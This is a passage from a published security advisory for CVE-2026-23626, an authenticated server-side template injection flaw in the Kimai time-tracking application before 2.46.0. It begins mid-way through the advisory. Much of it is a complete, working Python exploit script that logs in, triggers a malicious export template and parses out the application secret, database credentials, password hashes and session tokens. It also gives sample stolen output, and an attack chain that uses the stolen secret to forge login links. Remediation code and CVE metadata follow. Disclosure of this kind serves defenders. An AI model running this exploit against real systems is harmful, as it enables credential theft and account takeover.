IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4\n_csrf/datatable_update: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCz_HLtbBJ58\n\n===SSTI_EXTRACTION_END===\n\n============================================================\nCRITICAL FINDINGS SUMMARY:\n============================================================\n[!] APP_SECRET: change_this_to_something_unique\n[!] DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4\u0026serverVersion=8.0\n[!] Password Hashes Found: 2 unique\n    admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye...\n    lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a...\n[!] Session Token: Present (serialized PHP object)\n[!] CSRF Tokens: 2 found\n\n[+] Exploitation successful!\n[+] Full output saved to: kimai_extracted_data.pdf\n```\n\n### Output Files\n\n| File | Description |\n|------|-------------|\n| `kimai_extracted_data.pdf` | PDF containing all extracted sensitive data |\n\n### Manual PDF Text Extraction\n\n```bash\n# Extract text from PDF\npdftotext kimai_extracted_data.pdf -\n\n# Save to file\npdftotext kimai_extracted_data.pdf extracted_secrets.txt\n\n# Search for specific secrets\npdftotext kimai_extracted_data.pdf - | grep -E \"(APP_SECRET|DATABASE_URL|\\\\\\$2y\\\\\\$)\"\n```\n\n### Error Handling\n\n| Error Message | Cause | Solution |\n|---------------|-------|----------|\n| `Cannot connect to \u003curl\u003e` | Target unreachable | Check URL and network |\n| `Authentication failed` | Wrong credentials | Verify username/password |\n| `Template not found` | Template not deployed | Deploy template first (Step 1) |\n| `Access denied` | Insufficient permissions | Use admin account with export perms |\n| `pdftotext not installed` | Missing tool | Run `apt install poppler-utils` |\n\n---\n\n\n\n## Complete Exploit Script (ssti_exploit.py)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nKimai 2.45.0 - SSTI Information Disclosure Exploit\nExtracts: APP_SECRET, DATABASE_URL, Password Hashes, Session Tokens\n\nPrerequisites:\n1. Valid admin credentials\n2. Malicious template deployed at /opt/kimai/var/export/ssti-extract.pdf.twig\n\nUsage: python3 ssti_exploit.py \u003ctarget_url\u003e \u003cusername\u003e \u003cpassword\u003e\nExample: python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!\n\nAuthor: Security Research\nDate: 2026-01-05\n\"\"\"\n\nimport requests\nimport re\nimport subprocess\nimport sys\nimport os\n\nclass KimaiSSTIExploit:\n    def __init__(self, target, username, password):\n        self.target = target.rstrip(\u0027/\u0027)\n        self.session = requests.Session()\n        self.username = username\n        self.password = password\n        \n    def login(self):\n        \"\"\"Authenticate to Kimai\"\"\"\n        print(f\"[*] Connecting to {self.target}\")\n        \n        try:\n            login_page = self.session.get(f\"{self.target}/en/login\", timeout=10)\n        except requests.exceptions.ConnectionError:\n            raise Exception(f\"Cannot connect to {self.target}\")\n        except requests.exceptions.Timeout:\n            raise Exception(f\"Connection timeout to {self.target}\")\n            \n        if login_page.status_code != 200:\n            raise Exception(f\"Cannot reach login page: HTTP {login_page.status_code}\")\n        \n        csrf_match = re.search(r\u0027name=\"_csrf_token\"[^\u003e]*value=\"([^\"]+)\"\u0027, login_page.text)\n        if not csrf_match:\n            raise Exception(\"CSRF token not found on login page\")\n        \n        csrf = csrf_match.group(1)\n        print(f\"[*] Authenticating as {self.username}\")\n        \n        login_resp = self.session.post(\n            f\"{self.target}/en/login_check\",\n            data={\n                \"_username\": self.username,\n                \"_password\": self.password,\n                \"_csrf_token\": csrf\n            },\n            allow_redirects=True,\n            timeout=10\n        )\n        \n        # Check for successful login\n        if \"logout\" not in login_resp.text.lower() and \"sign out\" not in login_resp.text.lower():\n            if \"invalid\" in login_resp.text.lower() or \"incorrect\" in login_resp.text.lower():\n                raise Exception(\"Invalid username or password\")\n            raise Exception(\"Authentication failed - check credentials\")\n        \n        print(f\"[+] Successfully authenticated as {self.username}\")\n        return True\n    \n    def trigger_ssti(self, template_name=\"ssti-extract.pdf.twig\"):\n        \"\"\"Trigger SSTI via export functionality\"\"\"\n        print(f\"[*] Triggering SSTI with template: {template_name}\")\n        \n        try:\n            export_resp = self.session.post(\n                f\"{self.target}/en/export/data\",\n                data={\n                    \"renderer\": template_name,\n                    \"state\": \"3\",       # All states\n                    \"billable\": \"0\",    # All billable states\n                    \"exported\": \"5\",    # All export states\n                    \"markAsExported\": \"0\",\n                },\n                timeout=60\n            )\n        except requests.exceptions.Timeout:\n            raise Exception(\"Export request timed out\")\n        \n        if export_resp.status_code == 404:\n            raise Exception(f\"Template \u0027{template_name}\u0027 not found - deploy template first\")\n        \n        if export_resp.status_code == 403:\n            raise Exception(\"Access denied - user lacks export permissions\")\n            \n        if export_resp.status_code != 200:\n            raise Exception(f\"Export failed: HTTP {export_resp.status_code}\")\n        \n        if b\u0027%PDF\u0027 not in export_resp.content[:10]:\n            if b\u0027error\u0027 in export_resp.content.lower() or b\u0027exception\u0027 in export_resp.content.lower():\n                raise Exception(\"Template rendering error - check template syntax\")\n            raise Exception(\"Invalid response - expected PDF output\")\n        \n        print(f\"[+] PDF generated successfully: {len(export_resp.content)} bytes\")\n        return export_resp.content\n    \n    def extract_text(self, pdf_content, output_path=\"/tmp/kimai_ssti_output.pdf\"):\n        \"\"\"Extract text from PDF using pdftotext\"\"\"\n        with open(output_path, \"wb\") as f:\n            f.write(pdf_content)\n        \n        try:\n            result = subprocess.run(\n                [\"pdftotext\", output_path, \"-\"],\n                capture_output=True,\n                text=True,\n                timeout=30\n            )\n            if result.returncode != 0:\n                print(f\"[-] pdftotext error: {result.stderr}\")\n                return None\n            return result.stdout\n        except FileNotFoundError:\n            print(\"[-] pdftotext not installed\")\n            print(\"    Install with: apt install poppler-utils\")\n            return None\n        except subprocess.TimeoutExpired:\n            print(\"[-] pdftotext timed out\")\n            return None\n\n    def parse_findings(self, text):\n        \"\"\"Parse and categorize extracted data\"\"\"\n        findings = {\n            \"app_secret\": None,\n            \"database_url\": None,\n            \"password_hashes\": [],\n            \"session_token\": None,\n            \"csrf_tokens\": []\n        }\n        \n        lines = text.split(\u0027\\n\u0027)\n        for i, line in enumerate(lines):\n            line = line.strip()\n            \n            if \"APP_SECRET:\" in line:\n                findings[\"app_secret\"] = line.split(\"APP_SECRET:\")[-1].strip()\n            \n            if \"DATABASE_URL:\" in line or \"mysql://\" in line:\n                if \"mysql://\" in line:\n                    findings[\"database_url\"] = line.strip()\n                elif i + 1 \u003c len(lines):\n                    findings[\"database_url\"] = lines[i + 1].strip()\n            \n            if \"$2y$\" in line:\n                findings[\"password_hashes\"].append(line)\n            \n            if \"UsernamePasswordToken\" in line:\n                findings[\"session_token\"] = \"Present (serialized PHP object)\"\n            \n            if \"_csrf\" in line.lower() or len(line) == 43:\n                if \":\" in line:\n                    findings[\"csrf_tokens\"].append(line)\n        \n        return findings\n\n\ndef print_banner():\n    print(\"\"\"\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n\u2551     Kimai 2.45.0 - SSTI Information Disclosure Exploit        \u2551\n\u2551                                                               \u2551\n\u2551  Extracts: APP_SECRET, DATABASE_URL, Password Hashes          \u2551\n\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\n\"\"\")\n\n\ndef main():\n    print_banner()\n    \n    if len(sys.argv) \u003c 4:\n        print(\"Usage: python3 ssti_exploit.py \u003ctarget_url\u003e \u003cusername\u003e \u003cpassword\u003e [template_name]\")\n        print()\n        print(\"Arguments:\")\n        print(\"  target_url    - Kimai instance URL (e.g., http://localhost:8001)\")\n        print(\"  username      - Valid admin username\")\n        print(\"  password      - User password\")\n        print(\"  template_name - Optional: custom template name (default: ssti-extract.pdf.twig)\")\n        print()\n        print(\"Example:\")\n        print(\"  python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!\")\n        print()\n        print(\"Prerequisites:\")\n        print(\"  1. Deploy malicious template to /opt/kimai/var/export/ssti-extract.pdf.twig\")\n        print(\"  2. User must have export permissions (ROLE_ADMIN or higher)\")\n        sys.exit(1)\n    \n    target = sys.argv[1]\n    username = sys.argv[2]\n    password = sys.argv[3]\n    template = sys.argv[4] if len(sys.argv) \u003e 4 else \"ssti-extract.pdf.twig\"\n    \n    exploit = KimaiSSTIExploit(target, username, password)\n    \n    try:\n        # Step 1: Authenticate\n        exploit.login()\n        \n        # Step 2: Trigger SSTI\n        pdf_content = exploit.trigger_ssti(template)\n        \n        # Step 3: Save PDF\n        output_file = \"kimai_extracted_data.pdf\"\n        with open(output_file, \"wb\") as f:\n            f.write(pdf_content)\n        print(f\"[+] PDF saved to: {output_file}\")\n        \n        # Step 4: Extract and display text\n        text = exploit.extract_text(pdf_content)\n        if text:\n            print()\n            print(\"=\"*60)\n            print(\"RAW EXTRACTED DATA:\")\n            print(\"=\"*60)\n            print(text[:2000])\n            if len(text) \u003e 2000:\n                print(f\"\\n... [{len(text) - 2000} more characters]\")\n            \n            # Parse findings\n            findings = exploit.parse_findings(text)\n            \n            print()\n            print(\"=\"*60)\n            print(\"CRITICAL FINDINGS SUMMARY:\")\n            print(\"=\"*60)\n            \n            if findings[\"app_secret\"]:\n                print(f\"[!] APP_SECRET: {findings[\u0027app_secret\u0027]}\")\n            \n            if findings[\"database_url\"]:\n                print(f\"[!] DATABASE_URL: {findings[\u0027database_url\u0027]}\")\n            \n            if findings[\"password_hashes\"]:\n                unique_hashes = list(set(findings[\"password_hashes\"]))\n                print(f\"[!] Password Hashes Found: {len(unique_hashes)} unique\")\n                for h in unique_hashes[:5]:\n                    print(f\"    {h[:80]}...\")\n                if len(unique_hashes) \u003e 5:\n                    print(f\"    ... and {len(unique_hashes) - 5} more\")\n            \n            if findings[\"session_token\"]:\n                print(f\"[!] Session Token: {findings[\u0027session_token\u0027]}\")\n            \n            if findings[\"csrf_tokens\"]:\n                print(f\"[!] CSRF Tokens: {len(findings[\u0027csrf_tokens\u0027])} found\")\n        \n        print()\n        print(\"[+] Exploitation successful!\")\n        print(f\"[+] Full output saved to: {output_file}\")\n        return 0\n        \n    except KeyboardInterrupt:\n        print(\"\\n[-] Interrupted by user\")\n        return 130\n    except Exception as e:\n        print(f\"[-] Exploitation failed: {e}\")\n        return 1\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```\n\n---\n\n## Impact Analysis\n\n| Extracted Data | Security Impact |\n|---------------|-----------------|\n| `APP_SECRET` | Can forge Symfony login links to access ANY user account |\n| `DATABASE_URL` | Direct database connection credentials exposed |\n| Password Hashes | Offline password cracking possible (bcrypt) |\n| Session Tokens | Session structure analysis, potential replay attacks |\n| CSRF Tokens | Bypass CSRF protection for subsequent attacks |\n\n### Attack Chain Example\n\n1. Exploit SSTI \u2192 Extract `APP_SECRET`\n2. Use `APP_SECRET` to forge login link for target user\n3. Access target user\u0027s account without knowing their password\n\n---\n\n## Remediation\n\n### Immediate Fix\n\nReplace `DefaultPolicy` with `InvoicePolicy` in `ExportPolicy`:\n\n```php\n// src/Twig/SecurityPolicy/ExportPolicy.php\n// Change:\n$this-\u003epolicy-\u003eaddPolicy(new DefaultPolicy());\n\n// To:\n$this-\u003epolicy-\u003eaddPolicy(new InvoicePolicy());\n```\n\n### Additional Hardening\n\n1. **Block environment access in templates:**\n   ```php\n   public function checkMethodAllowed($obj, $method): void\n   {\n       if ($obj instanceof Request \u0026\u0026 $method === \u0027getServer\u0027) {\n           throw new SecurityError(\u0027Server access not allowed\u0027);\n       }\n   }\n   ```\n\n2. **Block session access in templates:**\n   ```php\n   if ($obj instanceof Session) {\n       throw new SecurityError(\u0027Session access not allowed\u0027);\n   }\n   ```\n\n3. **Restrict User object property access:**\n   ```php\n   if ($obj instanceof User \u0026\u0026 $method === \u0027getPassword\u0027) {\n       throw new SecurityError(\u0027Password access not allowed\u0027);\n   }\n   ```\n\n\n---\n\nReported by: Mahammad Huseynkhanli",
  "id": "GHSA-jg2j-2w24-54cg",
  "modified": "2026-01-20T17:07:13Z",
  "published": "2026-01-20T17:07:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kimai/kimai/security/advisories/GHSA-jg2j-2w24-54cg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23626"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kimai/kimai/pull/5757"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kimai/kimai/commit/6a86afb5fd79f6c1825060b87c09bd1909c2e86f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kimai/kimai"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kimai/kimai/releases/tag/2.46.0"
    },
    {
      "type": "WEB",
      "url": "https://twig.symfony.com/doc/3.x/api.html#sandbox-extension"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Kimai has an Authenticated Server-Side Template Injection (SSTI)"
}

CVE-2026-23626 (GCVE-0-2026-23626)

Vulnerability from cvelistv5 – Published: 2026-01-18 22:45 – Updated: 2026-01-20 20:07

Title

Kimai Vulnerable to Authenticated Server-Side Template Injection (SSTI)

Summary

Kimai is a web-based multi-user time-tracking application. Prior to version 2.46.0, Kimai's export functionality uses a Twig sandbox with an overly permissive security policy (`DefaultPolicy`) that allows arbitrary method calls on objects available in the template context. An authenticated user with export permissions can deploy a malicious Twig template that extracts sensitive information including environment variables, all user password hashes, serialized session tokens, and CSRF tokens. Version 2.46.0 patches this issue.

Severity ?

6.8 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

CWE

CWE-1336 - Improper Neutralization of Special Elements Used in a Template Engine

Assigner

GitHub_M

References

URL

	Vendor	Product	Version
	kimai	kimai	Affected: < 2.46.0

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-JG2J-2W24-54CG

Kimai 2.45.0 - Authenticated Server-Side Template Injection (SSTI)

Vulnerability Summary

Vulnerability Description

Prerequisites

Test Environment

Users in Test Instance

Confirmed Exploitation Evidence

Test Date: 2026-01-05

Extracted Data (Actual Output from Exploit)

Root Cause Analysis

Vulnerable Code: src/Twig/SecurityPolicy/ExportPolicy.php

The Problem: src/Twig/SecurityPolicy/DefaultPolicy.php

Exploitation Steps

Step 1: Deploy Malicious Template

Step 2: Run the Exploit

Step 3: Extract Text from PDF

Detailed Exploit Usage

Requirements

Command Syntax

Example Usage

Expected Output

Output Files

Manual PDF Text Extraction

Error Handling

Complete Exploit Script (ssti_exploit.py)

Impact Analysis

Attack Chain Example

Remediation

Immediate Fix

Additional Hardening

CVE-2026-23626 (GCVE-0-2026-23626)

Tags

Sightings

Nomenclature

Vulnerable Code: `src/Twig/SecurityPolicy/ExportPolicy.php`

The Problem: `src/Twig/SecurityPolicy/DefaultPolicy.php`